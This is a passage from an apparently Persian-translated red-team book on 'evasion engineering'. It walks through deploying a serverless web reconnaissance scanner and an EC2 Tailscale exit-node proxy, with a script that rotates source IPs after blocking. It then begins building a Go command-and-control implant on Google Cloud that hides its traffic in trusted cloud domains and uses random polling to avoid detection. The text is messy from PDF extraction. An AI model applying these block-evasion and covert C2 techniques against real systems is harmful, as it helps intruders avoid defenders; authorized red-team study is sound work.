″States{ :″ 

″BatchTargets{ :″ 

″Type″: ″Task,″ 

″Resource″: ″${lambdaArn},″ 

″Parameters{ :″ 

″targets  :″$.″$″  

,} 

″End″: true 
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} 

} 

,} 

″End″: true 

} 

} 

} 

- { lambdaArn: !GetAtt RttdLambdaScanner.Arn} 

Outputs: 

LambdaFunctionArn: 

Description: ′ARN of the created Lambda function′ 

Value: !GetAtt RttdLambdaScanner.Arn 

StateMachineArn: 

Description: ′ARN of the Step Functions state machine′ 

Value: !Ref RttdScannerStateMachine 

TestPayloadExample: 

Description: ′Example test payload for manual execution′ 

Value| : 

{ 

″targets[ :″ 

″[portquiz.net,]″ 

″[testphp.vulnweb.com]″ 

] 

} 

 اسکنر  کاری بار CloudFormation قالب: 5-3 فهرست

 :دهدمی انجام را زیر موارد که کندمی ایجاد سرور بدون وب اسکن حلراه یک CFN قالب این
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 کندمی تعریف Step Functions و Lambda دو هر برای را IAM  هایسیاست و هانقش •

 روی  را  اهداف  دهد،می انجام وب سمممرورهای  روی سمممبک شمممناسمممایی که کندمی  مسمممتقر پایتون  Lambda  تابع یک •

 را  صمممفحه  محتوای هاینمونه و ،SSL گواهی جزئیات  ،HTTP  هدرهای و  کندمی  اسمممکن  8080 و  ،443  ،80 هایپورت

 کندمی آوریجمع

 کندمی سازیپیاده همزمان صورتبه هدف چندین اسکن سازیهماهنگ برای Step Functions حالت  ماشین یک •

 کندمی استفاده مختلف اهداف و هاپورت کارآمد موازی اسکن برای بندیرشته از •

 گرداندبرمی شدهکشف هایداده و زمانی، مُهرهای هدف، اطلاعات  با ساختاریافته نتایج •

 .کندمی فراهم پایدار زیرساخت به نیاز بدون وب شناسایی برای سرور بدون و  پذیرمقیاس رویکرد یک حلراه این

 CloudFormation  حلراه استقرار
 وب رابط از اینجا اما کنید، اسمتفاده CFN هایقالب  اسمتقرار برای  دهدمی اجازه  AWS که  دسمترسمی روش هر  از  توانیدمی

-CloudFormation aws-cfn-ec2-proxy-tailscale قالب  از نسمممخه یک شمممروع، از  قبل. کرد خواهید اسمممتفاده
deploy.yaml کنید  بازیابی ایدنکرده دریافت هنوز اگر را. 

 در  us-east-1  منطقه  در که  کنید تأیید و شمممموید وارد AWS Management Console به  مدیریتی هایاعتبارنامه با

 .کنید کلیک  سرویس روی سپس و کنید جستجو را  CloudFormation چپ، سمت بالا در.  هستید کشویی  منوی

 Create Stack With New Resources  روی  ،CloudFormation  سممرویس  صممفحه راسممت  سمممت بالا در بعد،
(Standard)  است شده داده نشان 2-3 شکل در که طورهمان  کنید، کلیک. 

 

 CloudFormation در Create Stack اقدام: 2-3 شکل

  CloudFormation  قالب  YAML  هایفایل  سپس  کنید،  انتخاب  را  Upload a Template File  و  کنید  اسکرول  پایین  به

 را  شممممد  خواهد اسممممتیج کجا دهدمی  نشممممان که  URL S3  یک  که شمممموید  مطمئن  فایل، هر  آپلود از پس.  کنید مرور  را خود

 (.ببینید را 3-3 شکل)  کنید کلیک Next روی  سپس  بینید،می
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 شما  CloudFormation  قالب هایفایل   آپلود: 3-3 شکل

 پشممته به(. ببینید را 4-3 شممکل) شممد خواهید هدایت دیگر مقادیر و ها،نام پارامترها، برای هاییگزینه با بررسممی  صممفحه به

 (.اندشده انتخاب پیش از 4-3 شکل در) کنید رها خود فرضپیش تنظیمات در را فیلدها سایر و بدهید  توصیفی نام یک خود

 

 شما CloudFormation پارامترهای بررسی: 4-3 شکل

  us-east-1  در  Amazon Linux (AL2023)  برای AMI و  t3.micro  نمونه نوع  ترکیب مطلب،  این  نوشممتن زمان  در

 روزرسمانیبه اسماس این بر  را قالب باید  نکند،  پشمتیبانی هاگزینه این  از  آینده  در  بگیرد تصممیم AWS اگر. اسمت  دسمترس  در
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 Tailscale  مدیریت  کنسمممول  در( -tskey  پیشممموند با)  هویت  احراز کلید  یک باید  ،TailscaleAuthKey فیلد  برای.  کنید

 .کنید تولید

 برویمد  Settings Keys  بمه  و  شمممممویمد،  وارد  برویمد،  /https://login.tailscale.com/admin  بمه  جمدیمد،  تمب  یمک  در

 (.ببینید را 5-3 شکل)

 

 Tailscale مدیریت کنسول تنظیمات منوی: 5-3 شکل

 سممپس و کنید کلیک Generate Auth Key روی. دید خواهید API یا Auth کلیدهای برای هاییگزینه  ،Keys  منوی  در

 انقضمما تاریخ یک اختیاری صممورتبه و  کنید  مجدد اسممتفاده قابل  را کلید خواهیدمی.  کنید  تنظیم  را خود نظر مورد  تنظیمات

 (.ببینید را 6-3 شکل)  کنید  تنظیم

 

 شما کلید شناسه با Tailscale هویت  احراز کلید فهرست: 6-3 شکل

  آن ذخیره برای شانس  یک  فقط و  نیست، کلید خود کلید شناسه.  کنید ذخیره  اسمرار  مدیر یک  مانند امنی  جای در  را خود کلید

  CloudFormation  در  TailscaleAuthKey  فیلد  در  دوباره  را  طولانی  رشته.  داشت  خواهید  منو  از  دور  پیمایش  از  قبل

 .کنید کلیک Next روی سپس کنید، گذاریجای شد داده نشان 4-3 شکل در قبلا   که

  منمابع   CloudFormation کمه  کنیمد  تمأییمد  بمایمد.  کنیمد اسمممممکرول  پمایین  بمه و  کنیمد رهما را  فرضپیش  مقمادیر بعمد، صمممممفحمه در

AWS IAM روی سمپس و  کنید  انتخاب  را کادر(.  ببینید  را  7-3  شمکل)  اسمتقرار  شمروع  از قبل کندمی ایجاد  را Next  کلیک  

 .کنید
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 IAM شیس ایجاد تأیید: 7-3 شکل

  پایین   به  سمپس  هسمتند، رودمی انتظار که طورهمان مقادیر همه که کنید  بررسمی دوباره  نهایی، و بعدی بررسمی صمفحه  در

 .بروید 8-3 شکل در شدهداده نشان وضعیت صفحه به تا  کنید کلیک Submit روی و  کنید اسکرول

 

 CloudFormation پشته  وضعیت منوی: 8-3 شکل

CloudFormation  پروکسممی  برای را شممما پشممته تا کشممدمی طول دقیقه چندین  Tailscale انتظار، حین در. کند  ایجاد 

 مشمممخصمممات طبق ایجاد حال  در  منابع درباره جزئیاتی که  ،Outputs  جمله از کنید، بررسمممی را مختلف هایتب  توانیدمی

 .اندشده ارائه شما راحتی برای و کنندمی عمل استاندارد خروجی  متغیرهای مانند پویا مقادیر این. کندمی فراهم شما قالب

 در  را  Tailscale  عممماممممل  نصمممممممب  همممایدسمممممتمورالمعمممممل  ممممدیمریمتمی،  اممتمیمممازات  بممما  خمود  ممحملمی  ممیمزبمممان  از

https://tailscale.com/kb/1347/installation/  کردن  وارد با یا  توانیدمی شمد، درخواسمت که  هنگامی. کنید دنبال 

 بمما  ورود  برای  مرورگر  آپپمماپ  کردن  بمماز  برای  Log In  روی  کلیممک  بمما  یمما  کردیممد  تولیممد  تممازه  کممه  هویتی  احراز  کلیممد

 .کنید هویت احراز OAuth هایاعتبارنامه

. ببینیمد  را  Amazon EC2  نمونمه  هم و  خود محلی پمایمانی  نقطمه هم  حمالا بمایمد و بمازگردیمد، Tailscale  ممدیریمت  کنسمممممول بمه

 .داشت خواهد Exit Node برچسب  یک و شودمی گذاریبرچسب خود میزبان نام  پیشوند با EC2  نمونه
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 شمکل)  کنید  کلیک  نقطهسمه  آیکون  روی و  کنید پیدا  صمفحه راسمت سممت در  را EC2  نمونه ورودی  اندازی،راه  تکمیل برای

 (.ببینید را 3-9

 

 شما EC2 نمونه و محلی میزبان عامل وضعیت با Tailscale مدیریت کنسول: 9-3 شکل

 را  خروجی  گره دیگر بار یک تا شممد خواهید هدایت  آپپاپ  منوی یک به. کنید  کلیک  Edit Route Settings روی بعد،

 را  Use as Exit Node کادر. کندمی جلوگیری  نادرسمت  پیکربندی  از  تأیید  مرحله این(.  ببینید را  10-3 شمکل) کنید فعال

 .کنید کلیک Save روی  سپس کنید،  انتخاب

 

 خروجی گره مسیر  تنظیمات تأیید: 10-3 شکل

 طورهمان  کنید،  پیکربندی  نیز  خروجی  گره  از اسمممتفاده برای  خود  localhost  روی را  خود Tailscale  کلاینت باید حالا

 .است شده داده نشان 11-3 شکل در که
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 Tailscale در مسیر تبلیغ و خروجی گره تنظیم: 11-3 شکل

 برخی در باشمممید مجبور اسمممت ممکن) کنید وارد را زیر  فرمان ،CLI در سمممرویس  اجرای و Tailscale  عامل نصمممب با

 (:کنید استفاده sudo از  هاسیستم

 %tailscale up --exit-node=TAILSCALE-MACHINE-NAME --accept-routes 

 شمکل در macOS مثال در که طورهمان  دهد، نشمان  را شمما فعال خروجی گره باید  شمما  کلاینت  وضمعیت باشمد، موفق اگر

 .است شده داده نشان 3-12

 

 دهدمی نشان  را متصل خروجی گره که macOS در Tailscale کلاینت کاربری رابط: 12-3 شکل

 در  AWS Management Console  در  EC2  نمونممه  منوی  یمما  CloudFormation  پشمممممتممه  Outputs  منوی  بممه

https://us-east-1.console.aws.amazon.com/ec2/home?region=us-east-1#Instances/  

 :ببینید زیر صورتبه را اجرا حال در نمونه برای شدهاستفاده خارجی IP آدرس  توانیدمی. بازگردید

 %curl ifconfig.me/ip 

 خروجی گره IP  آدرس همان Tailscale  همپوشممانی شممبکه طریق از  اتصممال  حین در  محلی صممورتبه فرمان  این  اجرای

AWS گرداندبرمی را شما. 
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 AWS Lambda  حلراه استقرار
 AWS  پیممایش  مراحمل  هممان.  کرد  خواهیمد  آزممایش  را  5-3  فهرسمممممت  از  وب  اسمممممکنر  CloudFormation  قمالمب  حمالا

Management Console  سمممممبز  وضمممممعیمت  یمک  بمایمد  بماشمممممد،  موفق  اگر.  کنیمد  دنبمال  جمدیمد  قمالمب  از  اسمممممتفماده  بما  را 

CREATE_COMPLETE  جسممتجوی با  بتوانید  باید و  ببینید، پشممته برای «Step Functions» اجرای  یک کنسممول  در  

 .دهید انجام آزمایشی

 (.ببینید را 13-3 شکل) کنید کلیک Start Execution روی  سپس و کنید پیدا را حالت ماشین

 

 AWS Management Console در Step Functions حالت ماشین اجرای منوی: 13-3 شکل

 خواهیدمی  که  اضافی  سرور  بدون تابع نمونه  هر  برای. کنید  وارد  دامنه  چند یا  یک با  را  خود شدهبندیقالب  JSON  بار بعد،

 جداگانه فهرسممت  10 تا و  فهرسممت هر  در دامنه  تعداد هر  توانیدمی.  کنید اسممتفاده جداگانه فهرسممت  یک  از  کنید، بندیدسممته

 که  دهدمی نشممان دسممته یک در  را فهرسممت  نوع دو  در شممده  جدا هایدامنه  14-3 شممکل.  کنید  اضممافه  ماتریس  یک  عنوانبه

 .کندمی مقیاس را AWS همزمان Lambdas تعداد

 

 کندمی مشخص را اسکن برای هدف هایدامنه که Step Function JSON یک: 14-3 شکل
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 وضمعیت با باید ایدسمته کارهای  باشمد،  موفق  اگر. شمود شمروع  حالت ماشمین تا  کنید  کلیک  Start Execution روی بعد،

 (.ببینید را 15-3 شکل) کنید بررسی خطیدرون صورتبه را نتایج بود خواهید قادر و شوند، کامل سبز

 

 ایدسته  کار برای نتایج مشاهده و Step Function  یک موفق اجرای:  15-3 شکل

 .شوندمی نوشته CloudWatch هایگزارش در Lambda اجرای هر  زمانی مُهر اساس بر همچنین  نتایج

 منبع  IP هایآدرس تغییر 
 AWS درون  را  6-3  فهرسممت توانیدمی. دهید  ادامه زیرسمماخت مجدد اسممتقرار  به  نیسممت  نیازی  شممد، مسممدود  شممما  IP اگر

Cloud Shell  نمونه  اجرای حالت تا  کنید  اجرا EC2 یک در  را  اسمکریپت این.  دهید  تغییر  آن مجدد شمروع و توقف با را 

 Cloud  ویژگی  از سممممپس و  کنید، جایگزین خود Tailscale پروکسممممی  نمونه با  را  INSTANCE_ID کنید، ذخیره فایل
Shell Upload در را  خود  نمونه شممناسممه  توانیدمی.  کنید اسممتفاده  اسممکریپت  اجرای و آپلود  برای  https://us-east-

1.console.aws.amazon.com/ec2/home?region=us-east-1#Instances/  کنید پیدا. 

/!#bin/bash 

 #Replace with your instance ID from the CloudFormation outputs. 

INSTANCE_ID=″i-XXXXXXXXXXXXX″ 

echo ″Current IP address″: 

aws ec2 describe-instances   \  

--instance-ids $INSTANCE_ID  \  

--query ′Reservations[0].Instances[0].PublicIpAddress   ′\  

--output text 

echo ″Stopping instance″... 

aws ec2 stop-instances --instance-ids $INSTANCE_ID 
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aws ec2 wait instance-stopped --instance-ids $INSTANCE_ID 

echo ″Starting instance″... 

aws ec2 start-instances --instance-ids $INSTANCE_ID 

aws ec2 wait instance-running --instance-ids $INSTANCE_ID 

echo ″New IP address″: 

aws ec2 describe-instances   \  

--instance-ids $INSTANCE_ID  \  

--query ′Reservations[0].Instances[0].PublicIpAddress   ′\  

--output text 

 جدید IP آدرس یک برای EC2 نمونه مجدد اندازیراه : 6-3 فهرست

 و  بمازگردیمد  خود  محلی  میزبمان  بمه  توانیمدمی.  دهمدمی  تغییر  EC2  نمونمه  مجمدد  شمممممروع  هنگمام  را  عمومی  IP  معمولا    این

 جمدیمد  EC2  نمونمه  یمک  شمممممروع  از  پس  را  خود  خروجی  گره  تما  کنیمد  اجرا  دوبماره  را  curl  و  tailscale  همایفرممان

 .کنید اعتبارسنجی

 شما اسکن محیط بردن بین  از
  اقدام و کنید،  انتخاب  را کدام  هر بازگردید،  CloudFormation هایپشممممته به کردید، بررسممممی  را خود نتایج که  هنگامی

Delete  ندارد، وجود ایهزینه  سمبک وب اسمکن زیرسماخت برای. کنید حذف محیط از  را کاری بار دو  هر تا  کنید  اجرا را  

 محلی میزبان روی  را خود Tailscale سمرویس.  دارد وجود  اجرا  حال در EC2 نمونه داشمتن نگه با  مرتبط هاییهزینه اما

 :کنید خاموش زیر صورتبه خود

 %tailscale down 

 .باشید داشته sudo افزودن به نیاز  شما سیستم به بسته است ممکن هم، باز

 خلاصه 
 به نیاز که کاری بارهای  اسممتقرار برای  AWS CloudFormation از اسممتفاده با مکمل حلراه  دو  شممما  فصممل، این  در

 بدون  سمبک رویکرد  یک با شمما. کردید ایجاد  کنندمی برآورده  را  مقیاس  در  سمنگین هایاسمکن و  وب خدمات سمریع  شممارش

 و  HTTP  هدرهای ضمممبط و  اولیه، شمممناسمممایی  انجام برای Step Functions و  Lambda توابع از  اسمممتفاده  با  سمممرور

 با شمممدهیکپارچه EC2 هاینمونه از اسمممتفاده با ترقوی حلراه یک سمممپس،. کردید شمممروع هدف  هایدامنه  از  وب محتوای

Tailscale ،هایآدرس دهدمی  اجازه شمما به که  حالی  در  کندمی  فراهم  ترعمیق تسمت برای  پایداری زیرسماخت که سماختید  

IP همپوشمانی خدمات همچنین شمما. بچرخانید نمونه سماده مجدد اندازیراه با  را  Tailscale اجازه شمما  به که  گنجاندید،  را 

 .کنید ارسال خود شدهکنترل خوبیبه و متمرکز زیرساخت طریق از جهان جای هر از را تستر ترافیک دهدمی

  



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
83 

 

 کنترل  و فرمان  هایایمپلنت  توسعه  4
 

 ،MSFVenom جملمه  از دارد،  وجود  قرمز  تیم  عملیمات  و  نفوذ  تسمممممت  در  هماایمپلنمت  ایجماد  برای  محبوب  چمارچوب  چنمدین

Covenant،  Sliver،  و Mythic  .مدافعان  هسممتند، دسممترس  در و  شممدهشممناخته بسممیار قبل  از  هاچارچوب  این چون  اما 

 همین به. دهند توسممعه  هاآن  برای هدفمند  تشممخیصممی  هایمکانیزم و  کنند تحلیل تا  کنند تولید  را بار  انواع  راحتیبه  توانندمی

 از  را شمما  ما  فصمل،  این  در. اسمت قرمز  تیم  عضمو هر  برای ضمروری  مهارت یک خود سمفارشمی  ایمپلنت ایجاد  توانایی  دلیل

  همای سمممممرویس  بما  کمه  داشمممممت  خواهیمد  Go  بر  مبتنی  قوی  ایمپلنمت  یمک  پمایمان،  در.  کرد  خواهیم  راهنممایی  فراینمد  آن  طریق

 .شودمی اجرا  Google Cloud Platform توسط  شدهپشتیبانی

 عملکردی  طراحی 
  ها ایمپلنت از بسیاری. گیرندمی  بدیهی  را C2  ایمپلنت بالغ هایچارچوب  در شدهساخته هایقابلیت  مقدار گاهی قرمز هایتیم

 شممدهکنترل فرمان مجموعه یک از ناهمزمان صممورتبه نشممینند،می هدف سممیسممتم روی  هاآن:  کنندمی عمل روش  همان به

 .دارد  بستگی مسیر تغییر تلاش سطح به شنونده مکان. کنندمی اجرا را هافرمان آن سپس و  خوانند،می تستر  توسط

 Go  در  نهایی  ایمپلنت. کرد خواهیم بندیلایه تدریجی صمورتبه را قابلیت ما  یکباره،به کامل  حلراه  یک  دادن نشمان  جایبه

 مجموعه با  سمفارشمی  توابع شمما. کرد  خواهد  اسمتفاده SDK Google Cloud Platform (GCP) از و شمد  خواهد  نوشمته

 اسممتفاده حالت ردیابی و انتقال برای  NoSQL GCP Firestore  داده  پایگاه از و  کرد، خواهید ایجاد  هافرمان  از محدودی

 کرد، خواهید اسمتفاده GCP توسمط شمدهارائه  SDK از شمما که آنجا  از.  مانیدمی  سمرویس  رایگان سمطح  در و کرد، خواهید

 این کرد نخواهید اسمتفاده  زیرسماخت مسمیر  تغییر با  خام  هایسموکت از اینکه  دلیل. شمد  خواهند  پیچیده TLS  در  ارتباطات تمام

 از اسمتفاده.  کنندمی  فراهم  اعتماد مورد  هایCSP از  ذاتی  مسمیر  تغییر ابری  شمدهپشمتیبانی  هایسمرویس  معتقدیم ما که اسمت

  تمام  و  مشمکوک، IP  هایآدرس  نه  کندمی  برقرار ارتباط  مشمروع  هایدامنه با  شمما  ایمپلنت که  معناسمت این به  هاسمرویس  این

 کننمد،  مسمممممدود  را  بزرگ  ابری  دهنمدگمانارائمه دارد  احتممال  کمتر ممدافعمان.  شمممممودمی رمزگمذاری  فرضپیش  طوربمه  ترافیمک

  نهمایی   مزیمت. کرد خواهنمد تردیمد  Fastly و ،Cloudflare، Akamai  مماننمد هماییCDN  کردن  مسمممممدود در کمه طورهممان

. کنید تکیه شبکه هایACL به صرفا   نیستید مجبور دیگر که معنا این به است، داخلی هویت احراز  CSP خدمات از استفاده
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 خواهید  نیاز  خود  ایمپلنت از  متفاوتی  «هایطعم» به مختلف  هایCSP برای  که  اسممممت  این رویکرد این ضممممعف نقطه  تنها

 به بسممممته ها،هزینه  سممممازیبهینه و  هدف  زیرسمممماخت با  بهتر  شممممدن مخلوط شممممامل  تواندمی  CSP  تغییر مزایای. داشممممت

 .باشد کنید،می استفاده که  هاییسرویس

 فنی الزامات

 :دارید نیاز زیر موارد به آزمایشگاه، این  تکمیل برای

 وب  کنسول دسترسی و مالک حقوق با GCP پروژه •

• Go (اندشده آزمایش 1.23.4 نسخه با فصل این هایلیست) شدهنصب 

• VS Code رسمی هایافزونه با Go (اختیاری) شدهنصب 

 استقرار  معماری
 یک با این. است  شده  داده نشان  1-4 شکل  در که کنیم، شروع ساخت خواهید  فصل  این  در که C2  طراحی بررسی با  بیایید

 عملیات  مدیریت برای  را  تابع چندین سممپس شممود،می  متصممل GCP اندبک هایسممرویس به  که شممودمی شممروع main  تابع

 .داد خواهند کاهش را تشخیص شانس تصادفی نظرسنجی هایبازه. کندمی فراخوانی  ایمپلنت

 

 C2 ایمپلنت تابع فراخوانی هاینگاشت: 1-4 شکل

  سمممبک  جایگزین  یک  Firestore. داشمممت خواهید نیاز  داده  پایگاه  یک به  حالت ردیابی برای  شمممد، ذکر قبلا   که طورهمان

 شممما به  ،Firebase  اشویژگیتمام  والد برخلاف و اسممت،  CloudSQL و  BigQuery مانند ،GCP خدمات سممایر برای

 Amazon  آن AWS معادل مرجع، برای.  بمانید  سمریع  نسمبتا   خواندن و نوشمتن  سمرعت با رایگان سمطح  در  دهدمی اجازه
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DynamoDB کلید  نگاشممت یک شممامل دهد،می نشممان  را جداگانه  داده  پایگاه  تابع  هایزیرروال  2-4 شممکل. بود خواهد -

 .قدارم

 

 داده نگاشت و C2  ایمپلنت Firestore داده پایگاه تابع هایفراخوانی: 2-4 شکل

 .کرد خواهید اولیه کد ساختن به  شروع بعد بخش در فهمید،می را ایمپلنت طراحی که حالا

 کنترل و فرمان ساده اولیه  نمونه یک ایجاد

 که کرد خواهید آزمایش تسمتر توسمط شمدهکنترل «یادداشمت  دفترچه»  یک مفهوم از اسمتفاده با  را  آن  ایمپلنت، سماختن  از قبل

 جایبه. کندمی  عمل  ناهمزمان  صمورتبه ورودی پذیرش و خروجی  دادن  نشمان برای  سمازیصمحنه سمرویس  یک  عنوانبه

 برای  GCP Cloud Storage سمممبدهای  از شمممما ،netcat  از گرفتهالهام  ابزارهای مانند خام، هایسممموکت از اسمممتفاده

 .کرد خواهید استفاده راحتیبه نتایج اجرای و بندیزمان بررسی

 شما GCP  محیط سازیآماده 
 Google یا Gmail  از اسمتفاده ما اسمتفاده، سمهولت برای. کنید ایجاد  را خود  GCP حسماب اید،نکرده را کار  این قبلا   اگر

. داشمت خواهید رایگان سمطح صمورتحسماب اعتبار محدودی مدت برای. کنیممی توصمیه خود هویت احراز روش عنوانبه  را

 ایجاد هنگام  شمممموید؛می  وارد(  شمممموندمی  نامیده GCP primitives دنیای در که)  مدیریتی امتیازات با که شمممموید  مطمئن

 گاهی.  کنید دنبال  را  آزمایشمممگاه  توانیدمی که  شمممود  حاصمممل  اطمینان تا  کنید اسمممتفاده Admin یا  Owner نقش از  تغییرات

 یک کنید؛ فعال اسممتفاده از قبل  را API یک  مسممتقیما   شممما باشممد  داشممته  نیاز  اسممت  ممکن  Google Cloud کنسممول اوقات،

 .خواهدمی را هایتاناعتبارنامه شما از شما مرورگر در OAuth برای  آپپاپ

  آن  باید(. ببینید را 3-4 شمکل) کنید یادداشمت Welcome  صمفحه در  را خود پروژه  شمناسمه  ،Google Cloud کنسمول  در

 .شودمی شناسایی پروژه شماره یک و شناسه این با شما پروژه. باشید داشته دسترس در فصل این بقیه برای را شناسه
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 Google Cloud کنسول Welcome صفحه: 3-4 شکل

-4 شمکل)  کنید کلیک  IAM & Admin  بالای  Roles روی. کنید  تایپ را roles و بروید  صمفحه بالای در جسمتجو نوار به

 (.ببینید را 4

 

 Google Cloud کنسول جستجوی نوار: 4-4 شکل

 .است شده داده نشان 5-4 شکل در که طورهمان کنید، کلیک Create Role+  روی بعد، صفحه در

 

 IAM در Create Role منوی: 5-4 شکل

 روی  را  انتشممار و بدهید، معنادار شممناسممه و توضممیحات،  عنوان،  یک خود سممفارشممی نقش به  ،Create Role صممفحه  در

General Availability  (.ببینید را 6-4  شکل) کنید  تنظیم 
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 شما سفارشی نقش اندازیراه : 6-4 شکل

 و  جسمممتجو  را زیر مجوزهای  سمممپس  کنید، کلیک Add Permissions+  روی کردید، پر  را  الزامی  فیلدهای که  هنگامی

 :کنید اضافه

storage.buckets.list storage.objects.create 

storage.multipartUploads.abort storage.objects.delete 

storage.multipartUploads.create storage.objects.get 

storage.multipartUploads.list storage.objects.list 

storage.multipartUploads.listParts storage.objects.update 

 بعد،  صممفحه در.  شممود ذخیره  شممما جدید  سممفارشممی  نقش تا  کنید کلیک Create  روی مجوزها، این  کردن  اضممافه از پس

(. ببینید را 7-4 شمممکل)  دارد  را  صمممحیح مجوزهای شمممما  نقش  که  کنید  تأیید هانقش فهرسمممت در  آن  روی  کلیک با  توانیدمی

 .است متفاوت کردید وارد قبلا   که کاربرپسندی شناسه با این. کنید یادداشت را ID کنار در شدهفهرست  منبع شیس  مسیر
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 یافتهاختصاص  مجوزهای و سفارشی نقش شناسه: 7-4 شکل

—هسممتند  principal سممرویس  هایحسمماب ،GCP  در.  کنید پیوسممت IAM سممرویس حسمماب یک به  را  نقش  توانیدمی حالا

  منابع  به خودکار دسمترسمی برای  هاآن  از هابرنامه  که—شموند  اعطا مجوز و شموند  هویت  احراز  توانندمی که  هاییموجودیت

Google Cloud جدید، سمرویس حسماب  یک  ایجاد برای. کنندمی اسمتفاده Service Account از یا جسمتجو نوار  در را 

  فیلدهای و  کنید  کلیک  صممفحه مرکز  بالای نزدیک  Create Service Account روی.  کنید جسممتجو IAM ماژول  درون

Service Account Name، ID، و Description کنید پر است شده داده نشان 8-4 شکل در که طورهمان را. 

 

 شما  سرویس حساب جزئیات کردن وارد : 8-4 شکل

  آن کردن  اضمافه نگران.  کنید ذخیره  را خود  سمرویس حسماب و  کنید  کلیک Create and Continue  روی اتمام، از پس

 .شوندمی بریار  خودکار طوربه شما مجوزهای هستید، GCP  پروژه مالک شما چون نباشید؛ ACL به
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.  ببینید   را سرویس  هایحساب  از  فهرستی باید  که  جایی  گردید،بازمی Service Account  صفحه  به حساب،  ذخیره  از پس

 ایمیل آدرس یک قالب  در شمما  سمرویس حسماب شمناسمه  که  باشمید  داشمته توجه. کنید  کلیک کردید  ایجاد  تازه  که حسمابی روی

 (.ببینید را 9-4 شکل) است

 

 سرویس  حساب جزئیات صفحه: 9-4 شکل

  تنظیم  این  شممما، حسمماب ایجاد  زمان به بسممته. )کنید کلیک  آن روی  بینید،می را Enable Service Account گزینه اگر

 (.ببینید را 10-4 شکل) کنید کلیک Keys تب روی بعد، پنجره در.( باشد فعال قبل از فرضپیش طوربه است  ممکن

 این: باشممممید مراقب.  کنید انتخاب را  Create New Key JSON Create پایین،  نزدیک  Add Key  کشممممویی  منوی  در

 کند،می اعطا دسمترسمی شمما سمرویس حسماب انقضمای تاریخ و مجوزها  اسماس بر که  کندمی  دانلود دائمی توکن  یک  مرحله

 .کنید ذخیره امن طوربه را آن  بنابراین
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 سرویس  حساب کلید یک ایجاد:  10-4 شکل

 & IAM  منوی به چپ  سممت بالا در ناوبری  منوی  از  سمرویس،  حسماب  به خود  سمفارشمی نقش  دادن  اختصماص برای حالا،
Admin روی. بازگردید IAM سممطح  در را هانقش دهدمی  اجازه شممما به که  شممد خواهید هدایت  ایصممفحه  به.  کنید کلیک 

 (.ببینید را 11-4 شکل) کنید اعطا سرویس هایحساب و کاربران به پروژه

 

 پروژه به هاprincipal دسترسی  دادن اجازه:  11-4 شکل

 در. کنید کلیک Grant Access  روی و  ،View by Principals تا کنید اسکرول پایین  به  کنید، کلیک Allow  تب  روی

 خود سمفارشمی  نقش و  کنید  وارد New Principals  فیلد در  را خود سمرویس  حسماب ایمیل  آدرس شمود،می باز که  گفتگویی

 (.ببینید را 12-4 شکل) شوند اعمال  تغییرات تا کنید کلیک Save روی. کنید انتخاب Role فیلد در را
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 نقش  مجوزهای  اختصاص و سرویس حساب به دسترسی  اعطای:  12-4 شکل

  داشمت خواهد  را شمما  سمفارشمی نقش مجوزهای شمما سمرویس حسماب  برای JSON کلید کردید،  اعمال  را  تغییرات که  هنگامی

 هایحسمماب و  هانقش  توانیدمی  ایمپلنت،  بیشممتر توسممعه  هنگام. کنید غیرفعال  را کلید یا  کنید  حذف را دسممترسممی که زمانی تا

 از  کنیممی توصممیه ما. دهید  تغییر  را  موجود سممرویس  حسمماب مجوزهای یا  کنید  ایجاد مختلف  توابع برای  جداگانه  سممرویس

 تا   کنید استفاده  کوتاه توکن انقضای  هایزمان و(  امتیاز  کمترین  اصمل از پیروی  با) مجوزها  حداقل با  جداگانه هایاعتبارنامه

 .دهید کاهش کلیدهایتان افتادن خطر به صورت در را آسیب

 عمل  فرمان خروجی و  ورودی برای شمما  دوطرفه یادداشمت  دفترچه  عنوانبه که کنید ایجاد  را سمبدی که اسمت  آن وقت حالا

 Cloud Storage ماژول  وارد و  کنید تایپ جسمتجو نوار در را Google Cloud، cloud storage  کنسمول  درون. کند

.  کنید  تنظیم جهانی  فردمنحصممممربه نام  یک. کنید  کلیک  صممممفحه مرکز بالای  نزدیک  Create a Bucket  روی. شمممموید

 فرضپیش  تنظیمات اما  کنید،  تنظیم بلندمدت هایهزینه  در جوییصمرفه برای  واحد منطقه  یک اختیاری صمورتبه  توانیدمی

  اعمال سمازیذخیره  سمبد مجوزهای به را  ایجادشمده نقش و  سمرویس  حسماب شمما. هسمتند  خوب آزمایشمگاه این  اهداف برای

 .است شده داده نشان 13-4 شکل در که طورهمان کرد، خواهید
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 Cloud Storage سرویس  در سبد یک ایجاد:  13-4 شکل

 تازه سممبد نام روی. بگیرید نظر در سممبد ACL یک مانند را  آن. کرد خواهید  اعطا  منابع  سممطح  اسمماس بر را مجوزها بعد،

  حسمماب   کردن  اضممافه  برای  سممپس،. کنید  کلیک  Permissions  تب روی و بروید شممیس به تا  کنید کلیک خود ایجادشممده

  اضمممافه شمممامل  کنید، پر  را لازم  فیلدهای و  کنید کلیک  Grant Access روی ،principal  یک  عنوانبه خود سمممرویس

  دسمترسمی   دهدمی اجازه شمما به اما اسمت پروژه سمطح در  IAM مجوزهای  تنظیم  مشمابه  فرایند این.  خود  سمفارشمی  نقش  کردن

 .پروژه در سازیذخیره منابع همه به نه کنید، اعطا خاص سبد این به فقط را

 نشمان که  ببینید،  شمدهفهرسمت  خود  سمفارشمی  نقش با  را خود  سمرویس حسماب  باید باشمید، داده  انجام درسمتیبه را کار  این اگر

 را  14-4 شمکل) اسمت کرده بریار  کردید  اندازیراه قبلا   که  پروژه  سمطح  در IAM  دسمترسمی  از را مجوزها  سمبد دهدمی

 (.ببینید

 

 سبد  سطح در دسترسی مجوزهای تنظیم: 14-4 شکل

 و ،VS Code  مانند  ،Go رسممممی  هایافزونه  با کد  ویرایشمممگر یک  موفقیت با که کرد خواهیم  فرض بعدی،  مراحل برای

 .ایدکرده نصب را Go خود

 Go  هایوابستگی  و   هاماژول اندازیراه 
 در  هشممدار،  نه سممخت، خطاهای  عنوانبه را نشممدهاسممتفاده  متغیرهای و بندیقالب مسممائل Go که  اسممت آزاردهنده  حدودی تا

-goslowc2  پوشمه  کنیممی توصمیه مزاحمت،  این از اجتناب برای. کندمی  اعمال  سمختگیرانه طوربه  اجرا زمان و سماخت
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mvp-1.0  فصمممممل  این  منمابع  از  را  (https://github.com/dc401/nostarch-evasion-engineering  )دانلود 

 :است زیر هایفایل حاوی پوشه این.  کنید

• go.mod 

• go.sum 

• goslowc2-mvp-1.0.go 

